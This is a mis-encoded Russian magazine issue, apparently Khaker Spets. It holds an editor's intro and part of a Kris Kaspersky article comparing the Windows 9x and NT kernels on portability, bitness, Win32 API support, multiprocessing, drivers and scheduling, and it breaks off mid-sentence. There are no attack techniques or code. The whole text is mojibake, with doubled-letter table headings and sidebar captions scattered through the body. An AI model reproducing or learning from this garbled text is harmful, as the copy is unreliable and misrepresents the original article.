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«Áîëüøå âçëîìà! Äàéòå áîëüøå âçëîìà! Âû - Õàêåð Ñïåö èëè æóðíàë ïðî ìîáèëüíûå òåëåôîíû? Òàê ïèøèòå òîëüêî ïðî âçëîì!
ß õî÷ó ÁÎËÜØÅ âçëîìà!»

Äà, ìû æóðíàë Õàêåð Ñïåö. Íî ïèñàòü êàæäûé ìåñÿö òîëüêî ïðî âçëîì ìû íå èìååì íè æåëàíèÿ, íè âîçìîæíîñòè, ïîñêîëüêó
ÂÇËÎÌ � òåìà äîâîëüíî ùåïåòèëüíàÿ, à âûòðÿñòè èç çíàþùèõ ëþäåé êàêèå-òî íîâûå è àêòóàëüíûå ñïîñîáû � çàäà÷à íå èç ëåãêèõ
(è äåøåâûõ), ñâîè èññëåäîâàíèÿ � ýòî äåëî, òðåáóþùåå âðåìåíè (êîòîðîå ìû ñòàðàåìñÿ ïî âîçìîæíîñòè íàõîäèòü), à ðàññêàçû-
âàòü òåáå î òîì, êàê ïðàâèëüíî çàâàëèòü Windows 98 âîéäîçåðîì � ýòî òåìà äàæå íå îäíîé ñòàòüè, à òàê, íîñòàëüãè÷åñêàÿ âðåçêà.
Ñêàæó áîëüøå. Âîêðóã íàñ â ìèðå ÈÒ è õàéòåêà ïðîèñõîäèò ñòîëüêî âñåãî èíòåðåñíîãî, ÷òî ìû ïðîñòî íå ìîæåì ñåáå ïîçâîëèòü
íå ðàññêàçàòü îá ýòîì òåáå. Âåäü íà âçëîìå ñâåò êëèíîì íå ñîøåëñÿ. Ïîýòîìó íîìåðà, ïîñâÿùåííûå àòàêàì, âçëîìó è òîìó ïîäîá-
íûì âåùàì, âûõîäÿò ó íàñ íå êàæäûé ìåñÿö, à íåñêîëüêî ðåæå. Ýòîò æå Ñïåö - óæå âòîðîé ïîäðÿä ïðî áåçîïàñíîñòü ÎÑåé! È õî-
òÿ â íåì íåò «Êîìàíäû» (çàòî åå áóäåò ïðåäîñòàòî÷íî â äåêàáðå, ýòî áóäåò íîâîãîäíèé íîìåð), ÿ ðåøèë âûñêàçàòüñÿ ïðî ðàáîòó
íàä ýòèì íîìåðîì â Èíòðå. À ðàáîòà ýòà îêàçàëàñü íåïðîñòîé. Íå çíàþ ïî÷åìó, íî àâòîðû ñëåòàëè ïà÷êàìè, çàíèìàëèñü ïëàãèà-
òîì, íå ñîáëþäàëè ñðîêè, êðîìå òîãî, â î÷åðåäíîé ðàç óäèâèëî ïîëíîå îòñóòñòâèå ñïîñîáíîñòè ó ÷åëîâàêà ïèñàòü, ïðèòîì ÷òî çíà-
íèé â åãî ãîëîâå � âûøå êðûøè. Òåì íå ìåíåå, ôèíàëüíàÿ êîìàíäà, êîòîðàÿ òàêè ñôîðìèðîâàëàñü (ðåäàêöèÿ + íîâûå àâòîðû +
ñòàðûå õàðäêîðùèêè), áóäåì íàäåÿòüñÿ, ïðîèçâåëà íà ñâåò õîðîøèé æóðíàë, òàê ÷òî ïðèÿòíîãî ÷òåíèÿ!
Íå çàáóäü äåëèòüñÿ ñ íàìè ñâîèì ìíåíèåì, íàïîìèíàþ ðåêâèçèòû: ôîðóì íà forum.xakep.ru, êàíàë #xs íà irc.dalnet.ru è e-mail
spec@real.xakep.ru. Êñòàòè, ó íàñ ïîÿâèëñÿ åùå îäèí ñïîñîá îáùåíèÿ, ïðàâäà, íà ýòîò ðàç òîëüêî ïî âîïðîñàì, ñâÿçàííûì ñ ïîä-
ïèñêîé. Ýòî áåñïëàòíûé òåëåôîííûé íîìåð (ñ ëþáîãî íîìåðà â Ðîññèè çâîíîê íà íåãî - áåñïëàòíûé) (800) 2200-33-9999. Çäåñü òåáå
îòâåòÿò íà ëþáûå âîïðîñû î çàêàçå æóðíàëà íà äîì, ðàññêàæóò, êàê ïîëó÷àòü Ñïåö êóðüåðñêîé äîñòàâêîé, ñ îãðîìíûìè ñêèäêà-
ìè è ìíîãîå äðóãîå. Íî ïîìíè, ÷òî ýòî òåëåôîí îòäåëà ïîäïèñêè, è ïîãîâîðèòü ñ êåì-ëèáî èç ðåäàêöèè ïî íåìó íå óäàñòñÿ!

Dr.Klouniz
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âû (ê âåëèêîé ðàäîñòè! --
ïðèì. AvaLANche'à), ïîääåðæ-
êà Windows 98 ïðåêðàùåíà, è
ïåðåõîä íà Windows XP íåèç-
áåæåí. Ãîâîðÿò, â ïîñëåäíèå

ìãíîâåíèÿ ïåðåä ñìåðòüþ ÷åëîâåê âñïîìè-
íàåò ñâîå ïðîøëîå: ñâîè äîáðûå è äóðíûå
äåëà. Íî îïåðàöèîííàÿ ñèñòåìà íå íàäåëåíà
ñîçíàíèåì :). Äàâàé ìû ñðàâíèì ÿäðî
Windows 98 ñ ÿäðîì Windows NT, ÷òîáû
çíàòü, ÷òî ìû òåðÿåì, à ÷òî ïîëó÷àåì âçàìåí.

Íàèáîëüøèé èíòåðåñ âûçûâàþò èìåííî ÿä-
ðà ñèñòåì, ïîñêîëüêó çàëîæåííûå â íèõ
ñâîéñòâà íå ïåðåêðûâàþòñÿ ïðèêëàäíûì
óðîâíåì è âî ìíîãîì îïðåäåëÿþò õàðàêòåð
îïåðàöèîíêè â öåëîì. Âî èçáåæàíèå íåäîðà-
çóìåíèé äîãîâîðèìñÿ ïîíèìàòü ïîä Windows
NT âñþ ëèíåéêó NT-ïîäîáíûõ ñèñòåì
(Windows NT, Windows 2000, Windows XP è
Windows Server 2003). Ñîîòâåòñòâåííî, ïîä
Windows 9x èìåþòñÿ â âèäó Windows 95,
Windows 98 è Windows Me.

ÏÅÐÅÍÎÑÈÌÎÑÒÜ
Îïåðàöèîííàÿ ñèñòåìà Windows NT ïðî-

åêòèðîâàëàñü ñ ðàçìàõîì è îïòèìèçìîì. Ñ÷è-
òàëîñü, ÷òî ïðîöåññîðîâ áóäåò ñòàíîâèòüñÿ
âñå áîëüøå è áîëüøå, ïîýòîìó ãëàâíûì êðè-
òåðèåì âûáîðà îïåðàöèîííîé ñèñòåìû ñòà-
íåò åå ïåðåíîñèìîñòü. Ôåíîìåíàëüíàÿ ïîïó-
ëÿðíîñòü UNIX îáúÿñíÿëàñü îòíþäü íå ïðîã-
ðàììèñòñêèìè êà÷åñòâàìè (ñ òåõíè÷åñêîé
òî÷êè çðåíèÿ àðõèòåêòóðà ñèñòåìû áûëà
âåñüìà óáîãà è íîâèçíîé èäåé ñîâñåì íå
áëèñòàëà), à êîëè÷åñòâîì ïîääåðæèâàåìûõ
ïëàòôîðì. UNIX ðàáîòàëà ïðàêòè÷åñêè âåçäå
� îò êîíòðîëëåðîâ ëèôòà äî êîñìè÷åñêèõ êî-
ðàáëåé. Ïðîãðàììà, íàïèñàííàÿ äëÿ îäíîé
ïëàòôîðìû, ïðîñòîé ïåðåêîìïèëÿöèåé ïåðå-
íîñèëàñü íà äåñÿòîê-äðóãîé îñòàëüíûõ (íà
ñàìîì äåëå, êîíå÷íî, òðåáîâàëîñü íå÷òî
áîëüøåå, ÷åì ïðîñòàÿ ïåðåêîìïèëÿöèÿ).

Ðàñïëàòà çà ïåðåíîñèìîñòü - ïàäåíèå ïðî-
èçâîäèòåëüíîñòè, ïîðîé ñóùåñòâåííîå.
Windows NT ïðàêòè÷åñêè öåëèêîì íàïèñàíà
íà ÿçûêå Ñè. Àññåìáëåðíûå ñòðîêè îáíàðóæè-
âàþòñÿ ëèøü â òîíêîì ñëîå àáñòðàãèðîâàíèÿ
îò îáîðóäîâàíèÿ, ñîäåðæàùåãî ïåðâè÷íûå
äðàéâåðà è àïïàðàòíî-çàâèñèìûå ôóíêöèè.
Áëàãîäàðÿ ýòîìó îáñòîÿòåëüñòâó Windows NT
áûëà ïîðòèðîâàíà íà DEC Alpha è íåñêîëüêî
äðóãèõ ïëàòôîðì, íî äîëãîå âðåìÿ èãíîðèðî-
âàëàñü ïðîãðàììèñòñêîé îáùåñòâåííîñòüþ,
ïîñêîëüêó àäåêâàòíûõ âû÷èñëèòåëüíûõ ìîù-

íîñòåé â òî âðåìÿ ïðîñòî íå ñóùåñòâîâàëî.
Windows NT àññîöèèðîâàëàñü ïî ìåíüøåé
ìåðå ñ Êàäèëëàêîì èëè Øåâðîëå. Â íàñòîÿ-
ùèé ìîìåíò Windows NT ðåàëüíî ðàáîòàåò
òîëüêî íà îäíîé ïëàòôîðìå � IBM PC, à îñ-
òàëüíûå âûìåðëè çà íåíàäîáíîñòüþ.

Windows 9x, îðèåíòèðîâàííàÿ íà õëèïêèå äî-
ìàøíèå êîìïüþòåðû, íèêîãäà íå ñòðåìèëàñü ê
ïåðåíîñèìîñòè è îïòèìèçèðîâàëàñü ïîä îäíó
êîíêðåòíóþ ïëàòôîðìó � IBM PC. Áîëüøîå êî-
ëè÷åñòâî àññåìáëåðíîãî êîäà îáåñïå÷èâàåò
âûñîêóþ ñêîðîñòü. Áåç èðîíèè, Windows 9x âû-
ïîëíÿåòñÿ òàê áûñòðî, êàê ýòî òîëüêî âîçìîæ-
íî, ÷òî îñîáåííî çàìåòíî íà ìåäëåííûõ ìàøè-
íàõ. Ñ äðóãîé ñòîðîíû, Windows NT ñîäåðæèò
ðÿä ïðîãðåññèâíûõ àëãîðèòìîâ ïî óïðàâëåíèþ
ñèñòåìíûìè ðåñóðñàìè, è íà áûñòðûõ ìàøèíàõ
ñ äîñòàòî÷íûì êîëè÷åñòâîì îïåðàòèâíîé ïàìÿ-
òè (îò 128 Ìáàéò è âûøå) îíà ñóùåñòâåííî îá-
ãîíÿåò Windows 9x.

ÌÈÍÓÑÛ ØÈÐÎÊÎÉ ÐÀÇÐßÄÍÎÑÒÈ
Microsoft, ïðîâîäÿ àãðåññèâíóþ ðåêëàì-

íóþ êîìïàíèþ, âûäàåò ðàçðÿäíîñòü êîäà çà
ãëàâíîå äîñòîèíñòâî ñâîèõ îïåðàöèîííûõ
ñèñòåì. Ñíà÷àëà íàì äîëãî è óïîðíî âòèðàëè,
÷òî Windows 9x - ïîëíîñòüþ 32-ðàçðÿäíàÿ
îïåðàöèîííàÿ ñèñòåìà. Çàòåì âûÿñíèëîñü, ÷òî
"â âîåííîå âðåìÿ çíà÷åíèå ñèíóñà óãëà ìîæåò
äîñòèãàòü ÷åòûðåõ" è Windows NT åùå íàìíî-
ãî áîëåå 32-ðàçðÿäíà, ÷åì Windows 9x :).

Äåéñòâèòåëüíî, Windows 9x ñîäåðæèò áîëü-
øîå êîëè÷åñòâî 16-ðàçðÿäíîãî êîäà, îñòàâ-
ëåííîãî â ñèñòåìå ïî ÷èñòî òåõíè÷åñêèì ñî-
îáðàæåíèÿì. Åäèíñòâåííûì x86 ïðîöåññî-
ðîì, òîðìîçÿùèì ïðè âûïîëíåíèè 16-ðàçðÿä-
íîãî êîäà, áûë è îñòàåòñÿ Pentium Pro, ïîëü-
çîâàâøèéñÿ áîëüøîé ïîïóëÿðíîñòüþ ó èçãî-
òîâèòåëåé ñåðâåðîâ è âûñîêîïðîèçâîäèòåëü-
íûõ (ïî òåì âðåìåíàì) ðàáî÷èõ ñòàíöèé. Ñîâ-
ðåìåííûå ïðîöåññîðû (Pentium 4 â ÷àñòíîñ-
òè) âûïîëíÿþò 16- è 32-ðàçðÿäíûé êîä ïðàê-
òè÷åñêè ñ îäèíàêîâîé ñêîðîñòüþ. Ïðè÷åì 16-
ðàçðÿäíûé êîä â ñèëó ñâîåé êîìïàêòíîñòè
çà÷àñòóþ âûïîëíÿåòñÿ äàæå áûñòðåå! Ê òîìó
æå, îí çàíèìàåò ìåíüøå ìåñòà íà äèñêå è â
ïàìÿòè. Äðóãîå äåëî, ÷òî 32-ðàçðÿäíûé êîä
ñóùåñòâåííî óïðîùàåò ïðîãðàììèðîâàíèå.
Íî ïîñêîëüêó 16-ðàçðÿíûå ôðàãìåíòû êîäà
ãëóáîêî çàðûòû â Windows 9x, íèêàêîé ðàç-
íèöû ìåæäó Windows NT è Windows 9x ñ ïîò-
ðåáèòåëüñêîé òî÷êè çðåíèÿ íåò.

Íî ïðîãðåññ íå ñòîèò íà ìåñòå, è ðàçðÿä-
íîñòü êîäà íåïðåðûâíî ðàñòåò. Ñåé÷àñ ðàç-

Ó

Êðèñ Êàñïåðñêè aka ìûùúõ

W indows 98 � ñàìàÿ óäà÷íàÿ îïåðàöèîííàÿ ñèñòåìà èç âñåõ êîãäà-ëèáî
ñîçäàííûõ Microsoft. Íàñòîëüêî óäà÷íàÿ, ÷òî äàæå çàòðóäíèëà

ïðîäâèæåíèå Windows 2000 è Windows XP.
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Windows 9x
- íå ïîë-
íîñòüþ 32-
ðàçðÿäíàÿ
îïåðàöèîí-
íàÿ ñèñòåìà
è ñîäåðæèò
÷àñòè÷íî
16-ðàçðÿä-
íûé êîä,
íåîáõîäè-
ìûé â ñèñ-
òåìå.

ðàáàòûâàþòñÿ x86-ñîâìåñòèìûå ïðî-
öåññîðû, ïîääåðæèâàþùèå 64- è 128-
ðàçðÿäíûå ðåæèìû. 16- è 32-ðàçðÿä-
íûé ðåæèìû ñîõðàíÿòñÿ òîëüêî â âè-
äå ýìóëÿöèè è áóäóò æóòêî òîðìîçèòü.
Åñòåñòâåííî, ñàì ïî ñåáå 64-ðàçðÿä-
íûé ðåæèì íå óâåëè÷èâàåò ñêîðîñòè
îáðàáîòêè äàííûõ, è, ïî áîëüøîìó
ñ÷åòó, ýòî ïðîñòî õèòðûé ìàðêåòèíãî-
âûé òðþê. Íî íàì, êîíå÷íûì ïîëüçî-
âàòåëÿì, îò ýòîãî íå ëåã÷å! Windows
9x áóäåò êðàéíå íåýôôåêòèâíà íà òà-
êèõ ìàøèíàõ, à åå ïåðåíîñ ïîòðåáóåò
÷óäîâèùíûõ è áåññìûñëåííûõ òðóäî-
çàòðàò. Ïåðåíåñòè Windows NT ãîðàç-
äî ïðîùå, è Microsoft äåéñòâèòåëüíî
åå ïåðåíîñèò (èëè âî âñÿêîì ñëó÷àå
ïûòàåòñÿ ýòî ñäåëàòü). Âîçíèêàåò âîï-
ðîñ: êàêîé ïðîöåíò 32-ðàçðÿäíîãî êî-
äà ñîõðàíèòñÿ â 64/128-ðàçðÿäíûõ
âåðñèÿõ Windows NT?

ÏÎËÍÎÒÀ ÏÎÄÄÅÐÆÊÈ
WIN32 API 

Ïðîãðàììíûé èíòåðôåéñ Windows
3.1 áûë íåâåðîÿòíî óáîã è ïðîòèâîðå-
÷èâ. Ïîýòîìó ãðóïïå ðàçðàáîò÷èêîâ
Windows 9x áûëî ïîðó÷åíî ñîçäàòü
ïðèíöèïèàëüíî íîâûé API, ó÷èòûâàþ-
ùèé ãîðüêèé îïûò ïðåäûäóùåãî API è
ïðèçâàííûé ëèêâèäèðîâàòü åãî ñëà-
áûå ìåñòà. Îò ðàçðàáîò÷èêîâ Windows
NT òðåáîâàëîñü îáåñïå÷èòü îáðàòíóþ
ñîâìåñòèìîñòü ñ win32 API (èìåííî òà-
êîå íàçâàíèå ïîëó÷èë íîâûé èíòåð-
ôåéñ), íà óðîâíå îäíîé èç ïîäñèñòåì
âðåìåíè âûïîëíåíèÿ. Ïîíà÷àëó ýòî
íèêîãî îñîáåííî íå âçâîëíîâàëî, ïîñ-
êîëüêó Windows NT îðèåíòèðîâàëàñü
ïðåèìóùåñòâåííî íà OS/2-ïðèëîæå-
íèÿ, win32 äîëãîå âðåìÿ îñòàâàëñÿ
ïîáî÷íûì ïðîåêòîì. Îäíàêî ñî
ñìåðòüþ OS/2 è ôååðè÷åñêèì âçëå-
òîì Windows 3.1 âñå èçìåíèëîñü è çà-

äà÷à ñîâìåñòèìîñòè ñ Windows 9x (â
åå óñïåõå óæå íèêòî íå ñîìíåâàëñÿ)
âûøëà íà ïåðåäíèé ïëàí.

Äèêî ìàòåðÿñü è ïðîêëèíàÿ Áèëëà
Ãåéòñà, êîìàíäà ðàçðàáîò÷èêîâ
Windows NT ñóùåñòâåííî ïåðåðàáîòàëà
ïðîãðàììíûé èíòåðôåéñ, äîáàâèâ ê íå-
ìó ìíîæåñòâî ôóíêöèé, êîòîðûõ íå áû-
ëî è íå ìîãëî áûòü â ðàìêàõ Windows
9x. Êàêîå-òî âðåìÿ ðàçðàáîò÷èêè ïûòà-
ëèñü íàéòè êîìïðîìèññ, íî ïîòîì ïîíÿ-
ëè, ÷òî ýòî áåñïîëåçíî. È, ìàõíóâ ðó-
êîé, óñòàíîâèëè íà ìåñòî òåõ ôóíêöèé,
êîòîðûå îíè íå ñìîãëè ðåàëèçîâàòü,
ñâîåîáðàçíûå "çàãëóøêè", âñåãäà âîçâ-
ðàùàþùèå îøèáêó âûïîëíåíèÿ :). Òî
åñòü ôîðìàëüíî ôóíêöèÿ åñòü, íî òîë-
êó îò íåå ìåíüøå, ÷åì îò íàðèñîâàííî-
ãî î÷àãà (ïîìíèøü Áóðàòèíî?). 

Íî ýòî åùå ÷òî! Íåêîòîðûå ôóíêöèè
â Windows 9x âåäóò ñåáÿ èíà÷å, ÷åì â
Windows NT. Íàïðèìåð, â Windows NT
ôóíêöèÿ CreateFile ìîæåò îòêðûâàòü
íå òîëüêî ôàéë, íî è óñòðîéñòâî (ñêà-
æåì, ôèçè÷åñêèé äèñê), ÷òî äåëàåò åå
ñèëüíî ïîõîæåé íà UNIX. Ê ñîæàëå-
íèþ, Windows 9x òàêèõ øóòîê íå ïîíè-
ìàåò, è ïîäîáíûå ïðîãðàììû íà íåé
íåðàáîòîñïîñîáíû. Íî ïðîãðàììèñòû
íå ìîãóò ïîçâîëèòü ñåáå ðîñêîøü ñîç-
äàâàòü ïðîãðàììû, ðàáîòàþùèå òîëü-
êî íà Windows NT, ïîòîìó âñå ïðåèìó-
ùåñòâà ïîñëåäíåé äî ñèõ ïîð îñòàþò-
ñÿ íåâîñòðåáîâàííûìè!

Ìàññîâûé ïåðåõîä íà Windows XP
äîëæåí ðàçðåøèòü ýòó ñèòóàöèþ (ñåé-
÷àñ åå äîëÿ ñîñòàâëÿåò 51% îò âñåõ
èíñòàëëÿöèé Windows - ïðèì.
AvaLANche'à), è, êîãäà, íàêîíåö,
Windows 9x óìðåò, ïðîãðàììèñòû âñåãî
ìèðà âçäîõíóò ñ îáëåã÷åíèåì. Òàê êàê
ïîäãîíÿòü ñâîè ïðîäóêòû ïîä äâå ëè-
íåéêè ïðèíöèïèàëüíî ðàçëè÷íûõ îïå-
ðàöèîííûõ ñèñòåì íèêîìó íå â êàéô.

Íî API - âñåãî ëèøü îáåðòêà âîêðóã
ôóíêöèé ÿäðà. Èìåííî ÿäðî çàïðàâ-
ëÿåò ïàìÿòüþ, ïðîöåññàìè, ôàéëàìè è
ïîòîêàìè. Èìåííî ÿäðî îãðàíè÷èâàåò
âîçìîæíîñòè ïðèêëàäíîãî èíòåðôåé-
ñà. È ýòè îãðàíè÷åíèÿ áåç ïåðåäåëêè
ÿäðà íèêàê íå èñïðàâèòü.

ÌÍÎÃÎÏÐÎÖÅÑÑÎÐÍÎÑÒÜ:
ÍÀ ÔÈÃÀ ÊÎÇÅ ÁÀßÍ

Âî âðåìåíà ñîçäàíèÿ Windows 9x
íèêòî è ïîäóìàòü íå ìîã, ÷òî ìíîãîï-
ðîöåññîðíûå êîìïüþòåðû ïðèäóò íà
ðàáî÷èé ñòîë. Ïîýòîìó, ñêîëüêî ïðî-
öåññîðîâ íè áûëî áû óñòàíîâëåíî,
Windows 9x âñåãäà çàäåéñòâóåò ëèøü
îäèí. Íó, íå ïîääåðæèâàåò îíà ìíî-
ãîïðîöåññîðíîñòü, õîòü òû òðåñíè!

À âîò â Windows NT ïîääåðæêà ìíî-
ãîïðîöåññîðíîñòè áûëà çàëîæåíà èçíà-
÷àëüíî. Ðàçäåëåíèå ïðîöåññîðíûõ ðå-
ñóðñîâ ïðîèñõîäèò íà óðîâíå ïîòîêîâ.
Ñåðâåðíûå ïðèëîæåíèÿ, îáðàáàòûâàþ-
ùèå êàæäîå ñåòåâîå ïîäêëþ÷åíèå â îò-
äåëüíîì ïîòîêå, ëèíåéíî óâåëè÷èâàþò
ïðîèçâîäèòåëüíîñòü ñèñòåìû â çàâèñè-
ìîñòè îò êîëè÷åñòâà ïðîöåññîðîâ (ïî÷-
òè ëèíåéíî - íåîáõîäèìî ó÷åñòü íàê-
ëàäíûå ðàñõîäû íà ìåæïðîöåññîðíîå
âçàèìîäåéñòâèå). Îôèñíûå è èãðîâûå
æå êîìïüþòåðû ïðàêòè÷åñêè íå èìåþò
ïðèëîæåíèé, ðåàëüíî íóæäàþùèõñÿ â
ìíîãîïðîöåññîðíîñòè. Ê òîìó æå,
Pentium-4 ïîëíîöåííûì "ìíîãîïðîöåñ-
ñîðîì" î÷åâèäíî íå ÿâëÿåòñÿ ñ Hyper-
Threading è îáåñïå÷èâàåò ìèçåðíûé
ïðèðîñò ïðîèçâîäèòåëüíîñòè. Ïîýòîìó
ïåðåõîäèòü íà Windows NT ðàäè îäíîé
ìíîãîïðîöåññîðíîñòè ìîãóò ëèøü ÷óäà-
êè, çàáûâøèå î òîì, ÷òî áåñïëàòíûé
ñûð áûâàåò òîëüêî â ìûøåëîâêå!

ÏÎÄÄÅÐÆÊÀ ÎÁÎÐÓÄÎÂÀÍÈß:
ÑÀÏÅÐ ÎØÈÁÑß ÄÂÀÆÄÛ

ßäðî Windows 9x íåïîñðåäñòâåí-
íî íå ðåøàåò âîïðîñîâ, ñâÿçàííûõ ñ
ïîääåðæêîé îáîðóäîâàíèÿ, è ïåðåê-
ëàäûâàåò ýòó çàäà÷ó íà óñòàíàâëèâàå-
ìûå äðàéâåðà. Íàïðîòèâ, â Windows
XP ïåðâè÷íûå äðàéâåðà âñòðîåíû â
ñàìî ÿäðî, àâòîìàòè÷åñêè èëè âðó÷-
íóþ âûáèðàåìîå íà ñòàäèè èíñòàëëÿ-
öèè îïåðàöèîííîé ñèñòåìû. Ïðè÷åì
êàæäîå ÿäðî èñïîëüçóåò ñâîé ôîðìàò
äåðåâà óñòðîéñòâ, ïîýòîìó î ïîëíîé
ñîâìåñòèìîñòè ìîæíî òîëüêî ìå÷òàòü.

Àïïàðàòíàÿ êîíôèãóðàöèÿ Windows 9x
ìîæåò áûòü èçìåíåíà â ëþáîé ìîìåíò.
Â õóäøåì ñëó÷àå ýòî ïîòðåáóåò ïåðåçàã-
ðóçêè (èíîãäà íåñêîëüêèõ ïåðåçàãðó-
çîê), íî íå áîëåå òîãî. Windows XP â ïî-
äîáíûõ ñëó÷àÿõ çà÷àñòóþ ïðèõîäèòñÿ
ïåðåóñòàíàâëèâàòü öåëèêîì. È äåëî
âîâñå íå â êðèâûõ ðóêàõ. Ýòî äåôåêò â
ìîçãàõ ïðîåêòèðîâùèêîâ ñèñòåìû!

×àñòàÿ ñìåíà îáîðóäîâàíèÿ íà òåõ, ó
êîãî ñòîèò Windows NT, äåéñòâóåò óãíå-
òàþùå (íèêîìó íå ïîíðàâèòñÿ ïåðåóñ-
òàíàâëèâàòü îïåðàöèîííóþ ñèñòåìó ïî
íåñêîëüêî ðàç â äåíü), è ïîòîìó ìíîãèå
èç íèõ ïðåäïî÷èòàþò Windows 9x. Ê ñî-
æàëåíèþ, òàê êàê åå ïîääåðæêà ïðåêðà-
ùåíà, äàëåêî íå âñå ñîâðåìåííîå îáî-
ðóäîâàíèå èìååò äðàéâåðà, ïðåäíàçíà-
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Windows 9x,
â îòëè÷èå
îò Windows
NT, çàòî÷å-
íà ïîä IBM
PC, êîòîðàÿ
èñïîëüçóåò-
ñÿ â äîìàø-
íèõ ÏÊ. Îò-
ñþäà íóëå-
âàÿ ïåðåíî-
ñèìîñòü.
Çàòî ìàêñè-
ìàëüíîå
áûñòðîäåé-
ñòâèå.

Ïîä
Windows NT
ïîíèìàåòñÿ
âñÿ ëèíåéêà
NT-ïîäîá-
íûõ ñèñòåì:
Windows
NT,
Windows
2000,
Windows XP
è Windows
2003; ïîä
Windows 9x:
Windows
95,
Windows 98
è Windows
Me.

Ïîêëîííèêè Windows 98 ðàçìûøëÿþò, ñòîèò ëè èì ïåðåõîäèòü íà
XP èëè ïðîäîëæàòü èãíîðèðîâàòü åå ñóùåñòâîâàíèå è âïðåäü. Äå-
âåëîïåðû âî âñþ øòàìïóþò îáîëî÷êè, ðàçóêðàøèâàþùèå èíòåð-
ôåéñ Windows 98 íà ëþáîé ìàíåð (êñòàòè ãîâîðÿ, çà÷àñòóþ íàìíî-
ãî áîëåå ñèìïàòè÷íûé, ÷åì XP). Ðàññóæäàÿ î äîñòîèíñòâàõ è íåäîñ-
òàòêàõ ðàçëè÷íûõ îïåðàöèîííûõ ñèñòåì, áîëüøèíñòâî ïóáëèêàöèé
íàïèðàåò íà ïîëüçîâàòåëüñêèé èíòåðôåéñ, êîìïëåêòíîñòü øòàòíîé
ïîñòàâêè è äðóãèå íåïðèíöèïèàëüíûå õàðàêòåðèñòèêè, ëåãêî óñòðà-
íèìûå óñòàíîâêîé äîïîëíèòåëüíîãî ïðîãðàììíîãî îáåñïå÷åíèÿ. 

WWiinnddoowwss 99xx WWiinnddoowwss NNTT

ÏÏååððååííîîññèèììîîññòòüü íå ïåðåíîñèìà ïåðåíîñèìà

ÐÐààççððÿÿääííîîññòòüü 16 è 32 ðàçðÿäíûé êîä
32 ðàçðÿäíûé êîä, â
ïåðñïåêòèâå 64- è 128-
ðàçðÿäíûé

ÏÏîîëëííîîòòàà ïïîîääääååððææêêèè WWiinn3322 ïîääåðæèâàåòñÿ ÷àñòè÷íî ïîääåðæèâàåòñÿ ïîëíîñòüþ

ÏÏîîääääååððææêêàà
ììííîîããîîïïððîîööååññññîîððííîîññòòèè íå ïîääåðæèâàåòñÿ ïîääåðæèâàåòñÿ

ÊÊàà÷÷ååññòòââîî ïïëëààííèèððîîââààííèèÿÿ íà óðîâíå ñëàáîãî ïîäîáèÿ
ëåâîé ðóêè

ìåæäó æåíùèíîé è ïðàâîé
ðóêîé

ÏÏîîääääååððææêêàà îîááîîððóóääîîââààííèèÿÿ
ïîääåðæèâàåò ëþáîå
îáîðóäîâàíèå, äëÿ êîòîðîãî
òîëüêî åñòü äðàéâåðà

÷àñòü äðàéâåðîâ âñòðîåíà â
ÿäðî è òðåáóåò ïåðåóñòàíîâêè
ñèñòåìû äëÿ ñâîåé çàìåíû

ÇÇààùùèèùùååííííîîññòòüü îòñóòñòâóåò íàäåæíàÿ çàùèòà îò
íåïðåäóìûøëåííîãî âçëîìà



Â Windows
XP ìíîãèå
äðàéâåðà
âñòðîåíû
íåïîñðåä-
ñòâåííî â
ÿäðî è äî-
áàâëÿþòñÿ
íà ñòàäèè
èíñòàëëÿ-
öèè îïåðà-
öèîííîé
ñèñòåìû.
Èç-çà ýòîãî
ó XP íåò
ïîëíîé ñîâ-
ìåñòèìîñòè.

÷åííûå äëÿ Windows 9x. Ñ òå÷åíèåì
âðåìåíè ñèòóàöèÿ áóäåò òîëüêî óõóä-
øàòüñÿ. Â Windows NT 4.0 Plug & Play
ìåíåäæåð ïðåäñòàâëÿåò ñîáîé îáûêíî-
âåííûé äðàéâåð, íî, íà÷èíàÿ ñ Windows
2000, îí âñòðîåí â ÿäðî, è òû âûíóæ-
äåí åãî èñïîëüçîâàòü íåçàâèñèìî îò
òîãî, õî÷åøü òû ýòîãî èëè íåò. Ìîæíî
ïðèâåñòè è äðóãèå ïðèìåðû, èç êîòîðûõ
ÿñíî, ÷òî ÿäðî Windows NT ïîñòåïåííî
ïðåâðàùàåòñÿ â ñâàëêó, êóäà ðàçðàáîò-
÷èêè âàëÿò âñÿêèé õëàì. Ñèñòåìà äåãðà-
äèðóåò ïðÿìî íà ãëàçàõ, ðàçâàëèâàÿñü
ïîä ñîáñòâåííîé òÿæåñòüþ...

ÏËÀÍÈÐÎÂÊÀ ÏÎÒÎÊÎÂ
ÈÇÂÍÅ È ÈÇÍÓÒÐÈ

Êàæäûé ïðîöåññ èìååò, ïî ìåíü-
øåé ìåðå, îäèí ïîòîê, à êàæäîå ïðè-
ëîæåíèå ñîçäàåò, ïî ìåíüøåé ìåðå,
îäèí ïðîöåññ. Â ìíîãîçàäà÷íûõ ñèñòå-
ìàõ ïîòîêè âûíóæäåíû áîðîòüñÿ çà
ïðîöåññîðíîå âðåìÿ. Ñèòóàöèÿ, êîãäà
îäèí ïîòîê îòíèìàåò åãî ó äðóãîãî, íà-
çûâàåòñÿ âûòåñíåíèåì. Îïåðàöèîííàÿ
ñèñòåìà èãðàåò ðîëü ãëàâíîãî ðàñïî-
ðÿäèòåëÿ, êîîðäèíèðóþùåãî âûäà÷ó
ïîðöèé ïðîöåññîðíîãî âðåìåíè (êâàí-
òîâ) òåì ïîòîêàì, êîòîðûå áîëüøå âñå-
ãî â íåì íóæäàþòñÿ. Èíà÷å ýòî íàçû-
âàåòñÿ âûáîðîì íàèáîëåå îïòèìàëü-
íîé ñòðàòåãèè ïëàíèðîâàíèÿ, îáåñïå-
÷èâàþùåé íàèâûñøóþ ïðîèçâîäè-
òåëüíîñòü îïåðàöèîííîé ñèñòåìû.

Ïîêà êîëè÷åñòâî ïîòîêîâ íåâåëèêî,
ïëàíèðîâùèêó äîñòàòî÷íî ñîãíàòü èõ â
îäíó î÷åðåäü, îáðàáàòûâàåìóþ â "êàïè-
òàëèñòè÷åñêîì" ïîðÿäêå (â ïåðâóþ î÷å-
ðåäü îáðàáàòûâàþòñÿ íàèáîëåå áîãàòûå,
òüôó, ïðèîðèòåòíûå ïîòîêè). Êàê ñëåä-
ñòâèå, åñëè "ïðàâèòåëüñòâî" íå ïðåäïðè-
íèìàåò íèêàêèõ êîîðäèíèðóþùèõ ìåð, ñ
òå÷åíèåì âðåìåíè áîãàòûå âñå áîëüøå
áîãàòåþò, îòíèìàÿ ðåñóðñû ó îñòàëüíûõ,
à íèçêîïðèîðèòåòíûå ïîòîêè ìîãóò è
